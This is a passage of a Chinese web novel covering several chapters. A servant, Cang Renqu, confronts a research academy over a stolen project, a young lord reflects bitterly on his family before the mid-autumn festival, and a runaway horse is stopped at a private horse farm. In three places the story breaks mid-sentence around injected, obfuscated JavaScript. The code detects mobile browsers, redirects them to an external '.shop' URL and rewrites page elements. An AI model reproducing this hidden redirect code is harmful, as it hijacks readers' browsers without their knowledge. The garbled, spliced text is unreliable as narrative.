宋谨此时离她极近，呼吸可闻。方才马车骤停，他正欲掀帘一探究竟，不料苍仁曲先一步从外撩开，两人险些撞个满怀。 宋谨衣间隐约飘来沉香，苍仁曲闻之一时愣怔，随即回答道：“有人挡在路中间了。” 她马上放下帘子，下车查看情况：“你没事吧？” 两个偃人守卫自动放开女子，她委屈摇了摇头。 苍仁曲低头确认女子是否无恙，惊奇发现她竟是那日与工匠随行都督府，而后在马车上受训的学生。 此时，研枢院终于出来个人，一眼瞥见马车的宋府标志，殷勤跑来招待，对那学生视若无睹。 “竟是宋府的贵人！有失远迎！” “荀东酉！把我写的东西还给我！”那学生一个箭步上前，被守卫死死拦住。 眼看偃人守卫又要对她动手，苍仁曲立即将人护在身后。 荀东酉见状，抬手下停指令，颇不耐烦斥道：“萧晚乔！你怎么还在这！研枢院早已把你除名了！这哪有你的什么东西？” 苍仁曲满脸悲愤：“怎么可能！研枢院谁人不知？我的项目已被都督府采纳了！” 荀东酉继续泼冷水：“研枢院谁人不知？你写的东西早被工部驳回！若非我父亲在秀止府尹面前打点，怎入得了都督府的眼？” 萧晚乔情绪激动，顿时拔高声音：“那全部都是我写的！我造的！” 荀东酉下意识瞅了一眼马车门帘，气势陡然强硬：“我看你是脑子进水！在这里疯言疯语！上面只冠以我与家父之名。你将恩师的心血归咎成你一个人的功劳，对得起他的栽培吗？” 听闻此言，萧晚乔眼睛通红，气得浑身发抖：“你个混蛋！” 荀东酉转而朝苍仁曲赔笑道：“姑娘见谅，待我先驱赶了这闲人，免得扰了宋府贵人的雅兴，稍后便来赔罪。” 萧晚乔想冲上去，被苍仁曲死死拦住：“那可是我日日夜夜，研究几年的心血！我跑遍了所有穷乡僻壤，不知研究了多久，才换来偃人材料的优化！可你们呢？你们有一个人亲身下地实践过吗？拿了我的成果，替偃人省了钱，上报时却仍按原价！多出来的钱进了谁的口袋？你们……” “闭嘴！”荀东酉厉声喝止，担心萧晚乔失控，给偃人下了指令行动，偃人听令，作势便要拿下萧晚乔。 苍仁曲横臂一挡，寸步不让，硬是没让偃人碰到她分毫。 她知道，那东西确实是萧晚乔的心血，尽管她只是无意中听到的。 荀东酉此时对苍仁曲失去客气，警告道：“我劝你别挡路，小心偃人伤了你！” 外头动静不小，吵到了宋谨，他掀开帘子，当即吸引众人目光。 荀东酉一见到他，骤然变脸，先一步告状道：“呀！是谨公子！这位莽撞的侍从是您的人？她这般阻拦，实在耽误研枢院的公务。” 宋谨只是冷眼旁观这僵持的场面，没有任何表态。 苍仁曲心生一计，对荀东酉说道：“你说她已不是研枢院的人？那为何上次我与公子前往都督府时，她也在场？知晓如此机要之人被你们随意逐出，倘若官府密务因此外泄，这个责任你担当得起吗？” 荀东酉立刻反驳：“她研究的东西研枢院已经严加保管起来，谁成想这人不依不挠，硬要拿走，这不是意图泄露机密是什么？” 宋谨适时开口：“她研究了什么东西？涉及到了官府机密？” “那当然是……！”荀东酉脱口而出，突然眼神一乱，后半句话硬生生咽了回去。 “是什么？公子问你话呢！”苍仁曲狐假虎威道。 荀东酉随机找了个由头：“公子，这在外头，不兴说啊……” 苍仁曲语锋顿锐：“若涉及到官府机密，研枢院不能随意开人；若没涉及到官府机密，那又凭什么不让她拿回自己的东西？” 荀东酉被怼的哑口无言。 宋谨再次开口：“院长可在？我找他有事协商。” 荀东酉面露难色，抱歉道：“谨公子，实在不巧，院长正应了都督府长史之约，此刻不在院中。” 宋谨语气随面色沉了下来：“那可太不巧了。” 苍仁曲摆足架势，质问道：“院长不在，还把我家公子拦在门外这么久，这就是研枢院的待客之道？宋府昔日对研枢院鼎力相助，就是这么报答的吗？岂有此理！” 荀东酉顿时被吓得不轻：“是在下失礼了！望谨公子千万海涵……快请入内上座！” “算了，回府。”宋谨甩下帘子， 苍仁曲面色犹豫，走不是，不走也不是，着实摸不清他的态度。 “公子……” 话没说两句，宋谨语气淡淡打断道：“今日之事，今日之事，让研枢院自行善后。人若被逼急了，什么事都做得出来，若官府机密因此泄露。后果，还是得算在研枢院头上。” “是…是……”荀东酉战战兢兢应和着，咬牙切齿看了一眼萧晚乔，“要拿什么……赶紧进去拿！” 萧晚乔抹了把眼泪，低声朝苍仁曲道了声谢，恶狠狠剜了一眼荀东酉，跟着他一同进去。 大功告成。苍仁曲回到车前，语气欣然：“公子，我们回去？” “等她出来。” “……好。”苍仁曲疑惑，却也没有多问，她将马车行驶到门前一段距离，这里正好可以看到研枢院的动向。 “你认识她？”宋谨问道。 “不认识。”苍仁曲语气有些心虚。 “你对生人倒挺热心。” 苍仁曲解释道：“公子，方才马车险些冲撞了她。她受了委屈，若再坐视不理，于情理难容。” 此时，研枢院有人探了个头出来。 苍仁曲原以为是萧晚乔，只见那人左顾右盼，看到宋谨的马车还在，马上遁了回去。 “……”苍仁曲终于明白了宋谨的用意。 “那天我与父亲议事，回来见你与阿姊的新侍卫相聊甚欢。”宋谨语气平淡，像在闲谈一件小事。 “！” 苍仁曲警惕。 莫非那日他听到了什么？ “他也让人看着面善吗？”宋谨问道。 “？” 苍仁曲一怔，完全没料到话题会转向这个方向。 宋谨见她迟迟没有反应，稍显不悦：“怎么哑了？刚才伶牙俐齿的很。” 苍仁曲脑筋才转过来：“啊…啊哈哈，公子说笑了，他只是来寻您的。许是因我曾在阿姐院里侍奉过，他才多寒暄了两句。” “他挺懂得讨女子欢心，阿姊对他青睐有加，侍女们也与他相处甚欢。”宋谨随口聊着，让人摸不清他的情绪。 “阿兰长得俊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103037|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俏，少不了女子围着他转，加上他性子温和，受人欢迎不足为奇。”苍仁曲语气轻快，随口将话题一带而过。 她心想，谨公子观察细致入微，难道还在怀疑石举兰入府的目的吗？ 宋谨：“……” 萧晚乔安然走出研枢院，手中多了个包袱，估计里面都是她的宝贝。 她远远朝苍仁曲这边鞠了个躬，苍仁曲目送她离去，驱车回了宋府。 …… 临近中秋，太子回了一趟秀止，提前处理好中秋事宜。赴秀止府议事前，宋德特意吩咐宋曦随行。 待宋曦回府，苍仁曲从侍从口中得知，太子已邀宋德携宋曦共赴宫中中秋宴。 是夜。宋谨从宋德房中出来。 苍仁曲随他一同回院，问道：“公子，您也要去宫里庆祝节日吗？” “不去。父亲命我留守府中，主持事务。” 苍仁曲见宋谨面色平淡，心下疑惑，他为宋德鞍前马后干活，比起宋曦，可谓是既有功劳又有苦劳。 平日不允他应酬也罢，此次宫中盛宴，达官显贵云集，正是拓展人脉、开阔眼界的良机，宋德却只带宋曦一人前往。这般安排，换作是谁，心中都难免怨愤。 “公子，你好像不太在意的样子？” 宋谨反问道：“阿曲，你觉得我做的这些，只是为了得到他的认可吗？” 苍仁曲轻轻摇头：“公子的心思，我猜不透。” 宋谨抬头望向渐盈的明月。清辉拂面，在他脸上徒增一抹清寂。 “我其实没那么多想法。父亲邀我，我便去；不邀，便不去。有他无他，我都能过得很好。” 苍仁曲听得此话，以为他心中赌气，于是替他打抱不平：“中秋本是团圆佳节，既然是一家人，老爷应该带上公子，怎好独留你一人在家？” 宋谨神色疏淡：“家？此地算不得家。” 苍仁曲叹了口气，着实觉得这位贵公子身在福中不知福，劝道：“公子，我并非与您比惨。您至亲康健，住着高门大宅，衣食无忧，未来还有大好前程在等着你，或许习惯了这样的日子您觉得平淡乏味，这已经是世人所能想象的，最好的‘家’了。” 苍仁曲一路上苦口婆心劝说，二人不知不觉回到了别院。 宋谨听完，停住了脚步。 “阿曲，若这世人梦寐以求的家，背后是无数人家破人亡，流离失所，你能安理得地看着这个家在中秋幸福团圆的样子吗？” 苍仁曲闻言一惊，不由得顿住脚步，明明穿得厚实，她却感到脊背发凉。 宋谨，是宋德之子。而宋德，正是当年构陷她满门、致使她家破人亡的太子党羽之一。 她像是被什么扼住了喉咙。此时此刻，她就站在用她家人鲜血染就的府邸地砖上，看着眼前之人，像是一面镜子，照出她苟活至今，那忘本且虚伪的面目。 “公子您……在说什么呢？” “这才是我的心思，阿曲。”宋谨轻轻拍了拍她的肩膀，她只觉得如负千斤。 说完，宋谨回了屋。 苍仁曲呆在原地，回想自己对他先前每一句“开解”之言，字字荒唐，不堪入耳，羞愧到无地自容。 她也抬起头，望向那天边月。残缺的一点点尽管瑕不掩瑜，终究不是她所想要的那轮明月。 她哭了。 她再也看不到她想要的明月。 她早已没有了家。 明月常在，团圆不再。 19. 于叔 十二岁。 宋谨穿金戴玉，望着眼前只属于他一人的满桌山珍海味，毫无食欲。 尹叔见宋谨不肯进食，上前劝道：“少爷，这菜是夫人特地吩咐厨房为您做的，您多少用些，保重身子要紧。若是母亲见您消瘦，岂不难过？” 宋谨：“母亲会回来找我吗？” 尹叔：“会的。” 他乖乖动筷，勉强吃了几口，忽然一阵恶心，紧接着肠腹剧痛袭来，还未来得及呼痛，他便眼前一黑…… “公子！” …… 再次醒来，他已躺在病床上三天。 医生救了三天三夜，才将他从鬼门关拉回来，说是对食物过敏，说是因食物过敏而起。 他差点死于非命，他的母亲也没有出现。 当时宋德站在床边，告诉他，他的母亲，来不了了。 心口一痛，浓烈的沉香扑鼻而来，硬生生将他的眼泪压了回去。 画面闪过宋德一家三口其乐融融的情景，宋德对他笑着说：“谨儿，以后这里就是你的家。” 沉香依旧。 有一回，宋谨误入书院，惊扰了正在赏景的夫人。只听她语气居高临下：“这里虽然是你家，但你得时刻认清自己的身份。有些地方，不是你能踏足的。” 他又闻到一股浓郁的沉香，掐灭了心头燃起的恨意。 画面骤然而至。眼前的宋曦猛地撞掉他怀中所有的书，厉声宣告：“这里才不是你家！” “叩叩叩！” 视线剧烈摇晃，他看见夫人捂着心口，神色痛苦：“谨儿，你……咳咳咳！” “叩叩叩！” 他站在宋曦床前，宋曦蜷缩在床，抱着宋德痛哭：“父亲！阿谨又气我！我身子好疼！” “叩叩叩！” 宋谨迷迷糊糊睁开双眼，沉香弥漫满屋，门外敲门声依旧不停。 “叩叩叩！” 他睡眼惺忪坐起身：“何事？” 门外，贴身侍从小安提醒道：“公子，时辰不早，该起床了。” “嗯…知道了，进来吧。”门内沉默片刻，才传来宋谨含糊的回应。 谨公子向来注重隐私，有个雷打不动的习性，但凡闭门，便不喜有人未经许可擅入。 即便是贴身侍从小安，也须得了应允，才敢推门而入。 苍仁曲在院里吃着热乎的烤地瓜，目睹方才的一幕，手肘碰了碰身旁的大莱：“想不到公子也有赖床的一天啊，原先还以为他自律得紧。” 大莱也啃了口地瓜，不以为意：“明日就是中秋了，公子也是人，总得歇口气。” “这倒是。老爷与小姐都不在，所有大小事务都压在公子身上，确实辛苦。”苍仁曲点头附和，将最后几口烤地瓜吃完，“莱哥，谢谢你的地瓜！真甜！” 大莱打趣道：“要说自律，我看你才是头一份。别以为我不知道，今早公子没练剑，我看到你偷偷拿他的剑耍了起来。” 苍仁曲紧张到左顾右盼，低声道：“莱哥！这事儿您可千万别告诉公子！” “好说！帮哥一个忙，等会儿你去马场陪着公子，我今日约了牌局，实在走不开。下次还请你吃地瓜！”大莱打好了算盘。 苍仁曲认命般点了点头，勉强答应：“行吧。” 大莱正了正神色：“下不为例哈，我可要提醒你一句，这剑是于大师所赠，公子视若珍宝，有个什么闪失，谁人都帮不了你。” 苍仁曲闻言，更是好奇：“莱哥，这个于大师究竟是何许人物？” “于大师啊，他在公子十三岁时进的宋府，比我早好几年，他来时本来在马场干活，有回先夫人骑马郊游，瞧出他会些拳脚功夫，便叫他陪着公子练武。这一教，竟让公子在武试中拿了第十！连老爷都敬他几分，改口叫他‘大师’。”大莱回忆道。 苍仁曲感慨道：“这个于大师，真是高深莫测啊。” 大莱反而面露不解：“他倒是个怪人，旁人若能教出这样的子弟，早开宗立派了。他倒好，该名声大噪的时候，却自行请命回马场养马去了，真不知道他图的什么。” 不止大莱觉得奇怪，苍仁曲也感到奇怪。不仅如此，她始终不理解，进府切磋时于大师为什么要给她放水？他这么做，究竟图什么？ 他和宋谨，都很奇怪。 如山东侧有一片广袤草原，曾是秀止百姓喜爱骑马游行之地，后来宋家出资盘下，围作私人马场，逐渐成了需付费进入的豪门专属之地。 于初正牵着一匹通体漆黑、鬃毛油光水滑的骏马。身旁一位白衣男子劝道：“大师，您这般人才埋没于此，实在可惜，若肯来我门下，待遇绝对不比宋府差。” 于初继续牵马缓行，淡然回绝：“明公子美意，于某心领。只是于某平生没有什么追求，马场清闲，在这里吹吹风，骑骑马，对于某而言便是最好的归处。” 明公子面色一黯，他素知于初固执，却未料如此难以说动。平生最拿得出手的张伶牙俐齿一张嘴，竟在此刻败下了阵。 他只好偃旗息鼓，苦笑道：“罢了，人这一生都在追名逐利，像您这般无欲无求的，真是少见。” 黑色骏马似有所觉，抬头望向前方。于初随之望去，顿时眼前一亮，对明公子道：“明公子，谨公子到了，于某须前去迎候，失陪。” 明公子就此作罢：“好，大师请便。” 马儿雀跃，迫不及待奔向宋谨，于初拉紧绳子，防止它冲撞谨公子。 宋谨抚摸着马头，眉目含笑。于初在旁看着，不由叹道：“公子许久不来，以恒十分想念您呢。” 宋谨打断他：“于叔，这里没有旁人，叫我阿谨便好。” “好。” 宋谨望着那名白衣男子离去的背影：“于叔，又有人来挖角了？” 于初嗤之一笑，自然而然把缰绳递给宋谨：“广厦楼耳目真灵，我这般小角色也值得费心。现在那里人才济济，哪里还缺我一个养马的？” 宋谨接过缰绳，牵着以恒漫步草场：“真金不因岁月失色。您好歹曾是文武八星之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103038|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一，威名至今叫人津津乐道。” 于初叹然：“那都是过去的事了。” 宋谨继续说道：“再说了，您教出了一个武举第十的弟子，反而回来继续养马，让外头那些名门武师怎么想？各个都以为你受了委屈，巴不得将你挖走。” 于初看了他一眼，无奈笑道：“我本意是图个清净，谁料你藏了拙，竟也拿了第十。若真放手一搏，那状元还不是十拿九稳？” “状元？那可未必。”宋谨说着，朝苍仁曲的方向望了一眼，却见她的身边多了个熟人。石举兰牵着一匹马过来，与她有说有笑。 以恒亲昵地蹭了蹭他，宋谨移开目光，如它所愿，利落地骑上马背：“以恒都这把年纪了，依然活蹦乱跳。” 于初与以恒同行，摸了摸它的鬃毛：“以恒可不是普通的马，毕竟是你母亲最钟爱的坐骑，当年我骑它从边州到交州，数百里路途，它竟能一路坚持，实属难得。” “于叔，您千里迢迢到宋府寻我，将心爱的宝剑赠我，授我武学，这些都是母亲的遗愿吗？” 于初牵着以恒慢慢走着，怅然道：“不全是，也有我的一点私心。” “可您似乎都把私心用在了我身上。” 于初沉默片刻，坦言道：“阿谨，其实你母亲临终前，只嘱咐我到宋府确认你平安便离开，虽母爱心切，她不希望因此连累无辜之人。我食言了，留在了这里。这是我的选择，并非她的遗志。” “平安……”宋谨喃喃，眼底蒙上一层阴影，沉入往昔伤感。 于初察觉到宋谨情绪低落，缓言道：“阿谨，你在宋府这些年过来的不容易，我都看在眼里。那时候你还小，宋家就是一口虎狼窝，你母亲生怕你被生吞了，她口中的平安无事，只是希望你能活下去就好。她没想到，你竟如此争气，凭本事扳倒了先夫人，还引得宋德与他女儿忌惮。她泉下有知，心中不知是何等骄傲。” 宋谨眼底亮了光：“宋德说过，宋府，曾是文武八星汇聚的风水宝地，想必此处有很多您与母亲的旧忆。既如此，我便要将它夺回来，这片地方不该让秽土玷污。” 于初叹了一声：“年轻气盛，多好啊。那于某便拭目以待了，谨公子。” 不远处传来马声嘶鸣，夹杂着少年气急败坏的咒骂：“跑啊！废物！” 巨大的动静引起二人注意，只见那少年扬起鞭子，破空狠狠抽下。 马儿吃痛，发出一声凄厉长鸣，顿时失控，绕着马场疯狂冲撞起来。马背上的少年吓得惊叫连连。 “啊啊啊啊！！！” 马场众人见状，纷纷仓皇避让，惊叫声此起彼伏。 于初无奈扶额：“唉，又是哪家跋扈少爷在逞威风，怎没人来管管？” 宋谨唯恐惊了以恒，面色沉静，轻扯缰绳调转了方向。 恰在此时，疯马从石举兰与苍仁曲身边疾驰而过，他的视线不由自主落在二人之间，只见苍仁曲手中牵着石举兰的马缰，而石举兰正从怀里取出一方手帕递给她。 宋谨：“……” 20. 手帕 马场，秋高气爽。 苍仁曲独自闲逛，谨公子去找于大师，随意打发了她。 在家时她喜爱独自骑马远游，经常骑到人烟稀少地带，家人日常寻不见她，对她而言反而是种自由。 而今，再无人寻她，也再无人等她。 四周欢声笑语，此前只觉喧哗，此刻却格外刺耳，锥心刺痛。 她感受到一种前所未有的孤独。 “阿曲。”身后传来一声呼唤。 苍仁曲回头，石举兰一身光鲜亮丽的骑装，牵着一匹马走过来：“好巧啊。” 苍仁曲不免惊奇：“阿兰？你怎么在这？” 石举兰道：“曦小姐前几日去了应都，不便带我同行。为作安慰，便赠了匹宝马于我。今日得空，特来马场与它培养一下感情。” 这马场光是入场便需五两银子，若以一个寻常侍卫的薪水，断然消费不起，足以见得曦小姐平日待他极为优厚。 苍仁曲虽不羡慕，嘴上仍感叹道：“曦小姐待你真好。阿兰，你怎么做到这么短时间里让她对你心悦诚服的？” 石举兰闻言挑眉，笑着反问：“阿曲，你也是女子，男子什么样的‘本事’能让女子心悦诚服，你不知道？” 苍仁曲下意识想起起萧择天提过，宋曦招揽俊俏侍卫充作男宠的传闻，目光游移地挠了挠脸：“嗯…好像是知道。” 石举兰笑意更深，轻声试探道：“看你的反应，莫非还未经历过男女之事？” 苍仁曲当即打断他：“话题怎么引到我身上了？你还没回答我的问题。” 石举兰见她有意回避，识相般不再过问，转而解释道：“像曦小姐这样受宠的千金，自幼顺遂，不识人间愁苦，书没念几本，话本里的桥段倒是门儿清，就痴迷那套‘千金救风尘’的戏码。我只不过把话本里的可怜人演足了，这才引得她倾心怜惜。” 苍仁曲辩解道：“我倒认为，曦小姐精明得很。上次我亲眼目睹了她在院里一计擒俩贼。此事，还帮了太子殿下一个大忙。” 石举兰自信地勾了勾唇角：“阿曲，我侍奉过的贵女不在少数，依我的经验看，曦小姐或许只是头脑一热，恰好得知那俩贼人与广厦楼有关，便顺水推舟，将下毒的罪名一并安在他们头上，打发去都督府结案了事。” 苍仁曲心中骇然，方才之言不但没迷惑住他，反而被他猜了个分毫不差。她面色稍显凝重，沉声道：“阿兰，话出口前需三思。都督府已然结案，你的意思往重了说，便是质疑曦小姐欺诳太子。” 石举兰作势轻轻拍了一下自己嘴，笑道：“瞧我，在都督府待得久了，张口定罪的职业病，总是改不掉。” 什么意思？ 仗着过去在都督府的军威，可以一句话，一个态度，决定一个普通人的一辈子。 他还堂而皇之当作笑谈。 实在反感。 苍仁勉强扯出一丝微笑，提醒道：“宋府不比寻常门第，阿兰，收收那套军爷威风吧。” 一阵马匹的嘶鸣夹杂着呵斥从远处传来。 石举兰朝那头瞥了一眼，神色如常牵马回身，将方才的剑拔弩张轻轻揭过，语气轻松地搭腔道：“听说马场里有一匹边州马，性情温顺，乃是谨公子武学师父的心爱坐骑。这样的良驹，真叫人羡慕。” 苍仁曲跟上他的步子，盯着他俊秀的侧颜，话里藏针：“边州马骁勇善战，却极度危险。万一你有个什么闪失，不小心划伤了这张脸，曦小姐怕是再难寻由头来怜惜你了。” 石举兰神色平静，不痛不痒补充道：“边州马天生痛觉迟钝，一般磕着碰着浑然不觉，骑者反倒容易遭殃。但它们灵性极高，一旦认主，便心领神会，无需驱使，只遵从主人心意。” 交谈着，石举兰的马匹毫无预兆地受惊嘶鸣，拼命想要挣开他。马儿目光所指，只见一匹疯马正朝二人的方向直直冲撞过来！ “小……！” 石举兰的“心”字没说完，便被一股强硬的力道拎住后领，苍仁曲直接抢走他手中缰绳，连人带马往旁道硬生生一拽，那匹疯马几乎是擦着石举兰的衣袖呼啸而过。 石举兰整理被拽乱的衣领，残留的力道让他心惊。阿曲劲力之强，简直与萧司马有得一拼。 他注意到苍仁曲衣角脏了，从怀里掏出一只手帕自然递了过去：“给，你擦擦。” 苍仁曲的目光落在手帕上的两句诗—— 多情公子春留句 少思文君昼掩扉 苍仁曲：“……” 石举兰注意到她的神色，随口解释道：“别多想，这手帕也不是我的，你先擦着，我这里还有。” 苍仁曲眉头一皱，问道：“还有？你可知女子送人手帕意味着什么？” “知道啊。送我之人都清楚我和小姐的关系，她们硬是要送，我也没办法。”石举兰大方承认着，俯身下来，为她擦拭衣角的污泥。 “喂！”苍仁曲急了，一把夺走手帕，眼看上面已经沾了泥浆，忍不住斥道，“你既然心安理得地接受女子的心意，怎可随意地糟践它？对得起这只手帕的主人吗？呵，若这手帕是曦小姐相赠，你也敢拿来当抹布使不成？” 说罢，她没收了那只手帕。 石举兰未料到她反应如此之大，从善如流地放软了语气：“你说的是，此举是我不妥。” “少爷！当心啊！” 一名侍卫踉跄着从他们身侧疾奔而过，紧追着方才那匹失控的疯马。 好几名侍卫一同追着它，马背上的少爷吓得夹着哭腔，一边高声呼救，一边却反手抽了几鞭。马儿吃痛，愈发癫狂，一边狂奔一边奋力翻腾。 少爷嘴里一直喊着“停下”，手里的鞭子一下没停，围观众人傻眼了，实在看不懂他的操作。 侍卫们被疯马溜得团团转，眼看单凭人力无法阻拦。其中一人直接提刀，冲上前去。 于初见状，高声呵斥：“喂！这里不允许拔刀！” 刀光一现的瞬间，以恒突然嘶鸣，扬蹄冲向了那名侍卫。 宋谨：“？！” 以恒如一道疾风奔驰不管不顾，将于初远远甩在后面。他眼睁睁看着一度失控的场面，在后面撕声大喊：“阿谨！” 苍仁曲：“？！” 她二话不说，翻身骑上石举兰的马，朝宋谨的方向追了过去。 “喂！”石举兰拦都拦不住，徒劳看着她骑着自己的马越跑越远。 宋谨数次猛拉缰绳，试图让以恒停下。以恒却因天生的感官迟钝，对深陷皮肉的撕裂感到不痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103039|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不痒，依旧本能地疯狂奔驰。 亮刀侍卫正欲动作，忽闻身后蹄声如雷，居然又冲来一匹疯马！直接吓得他手里的刀掉了地。 眼看就要被双马夹击，身边忽然刮来一道狂风，将他刮飞了出去，险险躲开了两头攻势。 那道狂风便是骑着马的苍仁曲！她非但未停，反而猛夹马腹，马头直冲以恒撞了过去！ 两马轰然相撞的刹那，她猛然拽走宋谨手中的缰绳，全力往后一拽。 “啪！”绳子被她拽断了。 以恒前蹄飞扬，马身差点直立空中。宋谨瞳孔骤缩，身形顷刻不稳，苍仁曲眼疾手快，飞身扑出去抱住他。 天旋地转，二人重重摔在了草地上。 “唔！”苍仁曲被宋谨压在身下，差点背过气去，这人的身板跟身后的地皮一样硬！ 二人胸膛相贴，苍仁曲清晰感受到宋谨急促的心跳，以为他仍惊魂未定，扯了扯衣袖：“公子，没事吧？” 宋谨猛然坐起身，始终偏着头，叫人看不清神色。他简单应了声：“没事。” “没事就好，我扶您起来。”苍仁曲伸手相扶，宋谨手肘不易察觉地抽了一下。 将人搀扶起来后，苍仁曲手心传来一阵刺痛。她悄然退至身后，低头一看，手心在扯断缰绳时被磨破了皮，红了一片。 她掀开衣摆内侧干净的部分，随意擦掉手上的血。 刚才那名侍卫丢了刀，已经跑得不见人影，在原地喷着粗气，蹄子不安分地蹬地，似乎还想追上去。 于初这才匆匆追上，赶忙牵稳住它，转向宋谨急切打量：“阿……谨公子，没伤着哪里吧？” “我没事。” 擦完手上的血，苍仁曲动了一下，才觉出浑身酸痛，方才那一下着实摔得不轻。 于初一眼看到宋谨身后的苍仁曲，声音洪亮热情：“是你啊，小姑娘！好久不见！方才多亏你救了公子！” 苍仁曲语气恭敬而真诚：“于大师言重了，这都是分内之事。” 宋谨目光游离片刻，客客气气关心道：“你…没事吧？” 苍仁曲也客套回应他：“谢公子关心，我没事。” 石举兰也匆匆赶来，费力地拉住他那匹仍在躁动的马，朝宋谨投去关切的目光：“谨公子，您没事吧？” “这是你的马？”宋谨问道。 石举兰面露惭愧：“是，方才不慎冲撞了您的坐骑，还请公子恕罪。” 宋谨神色平和：“无妨。若非事出突然，也不会累及你的马。它若有任何损伤，我会派人妥善照料。” 石举兰感激道：“谢谨公子。” “抓到了！”“抓到它了！”“少爷！您没事吧！”……那匹始作俑马终于被一众侍卫七手八脚制服，马场内有惊无险，这场闹剧至此收场。 宋谨陪于初一同检查以恒的状况。于初一边安抚以恒，抓起那根断掉的绳索，神色凝重，当即问道：“阿谨，你手受伤了？” “并无。”宋谨说着，坦然摊开两只手。 于初将绳子递给他看，困惑道：“那这绳子上的血是谁的？” 他看绳子上那一抹半干未干的血渍，似有察觉地拉起自己的衣袖，赫然有一道浅显的血痕。 宋谨：“……” 21. 中秋 夜晚，苍仁曲屋内。 “哎呀，阿曲，你怎么伤成这样！”小诗褪下她的上衣，发现后背一片刺目的淤紫，触目惊心。 “骑马摔了一跤。小诗，麻烦帮我上点药吧。”苍仁曲趴在床上哀求着，微微侧头，用缠着绷带的手指了指床头的药膏。 小诗挖了药膏，轻轻抹开，口头却不饶人：“阿曲，你虽然有底子功夫，也不能这般不顾身子。或许你觉着磕着碰着没什么大不了，朋友看了尚且心疼，若叫骨肉至亲见了，不知该多难过。” 苍仁曲神色黯淡，故作调侃道：“若这身伤能让骨肉至亲现身的话，他们尽管难过去吧，反正我开心。” “净说胡话！”小诗指尖狠狠戳了她的脑袋。 “嗷！” “叩叩叩。”外面传来一阵敲门声。 “？” 苍仁曲疑惑之际，小诗替她掖好被子，起身道：“我去开门。” 门开了，来人是宋谨的贴身侍从小安。他发现开门的人不是苍仁曲，朝屋内望了望：“阿曲呢？公子让我来看看她的伤势。” 小诗侧身挡住他的视线，语气坚定：“她正卧床休养着，男子不方便入内。” 苍仁曲衣服没穿，拽紧被子朝门外扬声道：“小安，一点皮外伤而已，睡一觉便好了。请公子放心，不必挂念。” “这样啊，公子吩咐我给你送些伤药，敷上能好得快些。”小安说罢，将几瓶上好的伤药递到小诗手中。 苍仁曲语气感激：“多谢公子！辛苦你了！” 小诗关上门，拿着药坐回床边，挑眉打趣道：“没想到谨公子对待侍从还挺上心，之前总怕你在此受委屈，是我白操心了。” 她掀开被子，将宋谨的伤药敷上。药膏的温凉在背上化开，苍仁曲侧过脸问道：“怎么？这次不劝我回到曦小姐身边了？” 灯光下，她的背肌随着敷药的力度微微起伏。宽肩舒展，腰身劲瘦，肌理分明，呈现出女性的柔美与战士的力量。 小诗指尖轻轻抚过她线条分明的背脊，叹道：“在哪儿当差不是为了糊口？可曦小姐并不这样想，你受了她的好，她理所当然认为你的心也该是她的。若让她瞧出半分不忠的苗头，以她在宋府的权势，恐怕连谨公子都保不住你。” 苍仁曲低低“嗯”了一声。实际上，她犯了难。 家中自幼只教她不可平白受人之恩，却从未教她，当无法拒绝时，她该如何自处？ 不知赠者有心还是无意，先一开始便剥夺了别人拒绝的权利。好意送了出去，后来美名其曰站在道德至高点上，将报答的义务强加给别人头上，让善意成了一种沉重的负担。 此刻的接受，无关贪恋，也非称心。 仅仅因为，她别无选择。 小诗忽然开口，打断她的思绪：“阿曲，明晚西市有一场诗会，我写的几首诗被选上了！你若得空，去捧个场怎么样？” 苍仁曲旋即想到什么，问道：“小诗，原来你还有写诗的爱好吗？” 小诗谦逊解释道：“只是平日爱读诗，偶尔会在自己的东西里引用几句。这次自己瞎琢磨着模仿了几句，能选上纯属凑巧罢了。” 苍仁曲收了收压着下面的衣服，笑道：“能选上，就意味着你颇有大家风范，未来可期。” 小诗笑着，为她敷好了药，叮嘱道：“好了，今晚乖乖趴着睡，若有不适，明天我再帮你。” 苍仁曲利落地套上衣服：“不用这么麻烦。明天就中秋了，你好好过节去，这点小伤我还怕照顾不好自己？” 小诗将床边的药收拾整齐，语气不容商量：“一码归一码，上药这点功夫还是有的。你若有半点不舒服，不许硬撑，知道了吗？” 苍仁曲乖乖点头：“知道了，谢谢你，小诗。” 她送小诗离开宋谨别院，打了一盆水回去，从床上拿出藏在衣物之下，那只沾了污泥的手帕—— 多情公子春留句 少思文君昼掩扉 她端详着上面绣的两行诗，陷入了沉默，而后将它泡浸水中，手搓着想要洗净上面的污泥。搓了一会儿，手心传来一阵刺痛，绷带隐隐渗出血渍。 